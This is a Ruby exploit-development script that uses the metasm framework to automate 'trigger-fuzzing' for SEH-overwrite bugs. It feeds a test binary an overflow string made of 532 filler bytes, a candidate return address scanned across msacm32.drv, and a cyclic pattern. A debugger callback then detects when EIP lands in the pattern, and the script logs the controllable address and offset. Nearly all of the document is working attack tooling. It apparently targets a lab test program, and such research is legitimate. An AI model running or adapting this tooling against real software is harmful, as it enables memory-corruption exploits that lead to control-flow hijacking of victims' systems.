#!/usr/bin/env ruby
# encoding: utf-8
# By 0vercl0k
require 'metasm'
require 'pp'
include Metasm
# ======================================================================================================================
 # Original Idea come from @jduck1337 when he exploited the CreateSizedDIBSECTION bug discovered by Moti and Xu Hao
 # """
 # I used a technique I like to call trigger-fuzzing.
 # That is, I repeatedly triggered the vulnerability each address in "msacm32.drv" code segment and monitored the results.
 # After less than 512 attempts, I noticed I had a crash with EIP containing the tell-tale Rex::Text pattern.
 # """
 # Quoted from http://blog.metasploit.com/2011/01/exploiting-seh-overwrites-using-rop.html
# ======================================================================================================================
# A nice occasion to try metasm framework!
# Extraced from mona.py by corelanc0d3r
def pattern_create(max)
    char1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    char2 = 'abcdefghijklmnopqrstuvwxyz'
    char3 = '0123456789'
    charcnt = 0
    pattern = ''
    for ch1 in char1.each_char()
        for ch2 in char2.each_char()
            for ch3 in char3.each_char()
                if charcnt < max
                    pattern += ch1
                    charcnt += 1
                end
                
                if charcnt < max
                    pattern += ch2
                    charcnt += 1
                end
                
                if charcnt < max
                    pattern += ch3
                    charcnt += 1
                end
            end
        end
    end
    
    return pattern
end
def pattern_find(pattern, size)
    s = pattern_create(size)
    if (id = s.index([pattern].pack('I'))) != nil
        return id
    end
    return nil
end
#Dump - msacm32_drv:.text
#Address   Hex dump
#0x72C61000 -> 0x72C6370F 
#0x72C61000 0x72C6370F
def main(args, argv)
    if args != 2
        print "Usage: ./#{$0} <addr_start> <addr_end> <payload>\n"
        return -1
    end
    # Retrieve the entrypoint
    exe = AutoExe.decode_file('safe_seh_test.exe')
    ep = exe.optheader.entrypoint + exe.optheader.image_base
        
    size = 512
    start_addr = argv[0].to_i(16)
    end_addr = argv[1].to_i(16)
    
    while start_addr <= end_addr
        input = 'A' * 532 + [start_addr].pack('I') + pattern_create(size)
        
        print "%s RET@%#.8x (%d / %d) %s\n" % ["-"*8, start_addr, (start_addr - argv[0].to_i(16)), (argv[1].to_i(16) - argv[0].to_i(16)), "-"*8]
        print "[*] Debugging the binary..\n"
        dbg = OS.current.create_debugger('safe_seh_test.exe "' + input + '"')
        
        # We don't want extra log
        dbg.set_log_proc(lambda { |h| })
    
        ep_reached = false
        first_exception_passed = false
        
        # Install our exception-probe
        dbg.callback_exception = lambda { |h| 
            if h[:type] == 'access violation' and ep_reached == true
                addr_exception = h[:st].ExceptionAddress || 0
                mod = dbg.addr2module(addr_exception)
                
                print "[*] Exception Address occurs in: %s (%#.8x)\n" % [ dbg.addrname!(addr_exception), addr_exception ]
                
                # If an exception does not occured in any modules -> the seh handle pivoted somewhere (somewhere that maybe we control)
                if first_exception_passed == true
                    dbg.kill()
                else
                    first_exception_passed = true
                    dbg.pass_current_exception()
                end
                
            # In case of an unknown type of exception occurs, we kill the debuggee (privileged instruction for example)
            else
                # Be carreful, we use a soft bp to stop the execution to the entrypoint
                if h[:type] != 'breakpoint'
                    dbg.kill()
                end
            end
        }
        
        print "[*] Now, I try to reach the entry_point (%#.8x)..\n" % ep
        
        dbg.go(ep)
        ep_reached = true
        
        print "[*] Ok, entry point reached. Now passing all the exceptions to the debuggee..\n"
        
        dbg.run_forever()
        print "[*] Final fault at: %s\n" % dbg.addrname!(dbg[:eip])
        if (offset = pattern_find(dbg[:eip], size)) != nil 
            
            win = "[*]It seems you are allowed to ret in %#.8x, and you can totally control EIP (offset = %d)\n" % [start_addr, offset]
            f = File.open("trigger_fuzzing.txt", "ab")
            f.puts("-"*16)
            f.puts(win)
            f.puts(input)
            f.close()
            print win
        end
    
        start_addr += 1
    end
    
    return 0
end
if $0 == __FILE__ 
    exit(main(ARGV.size(), ARGV))
end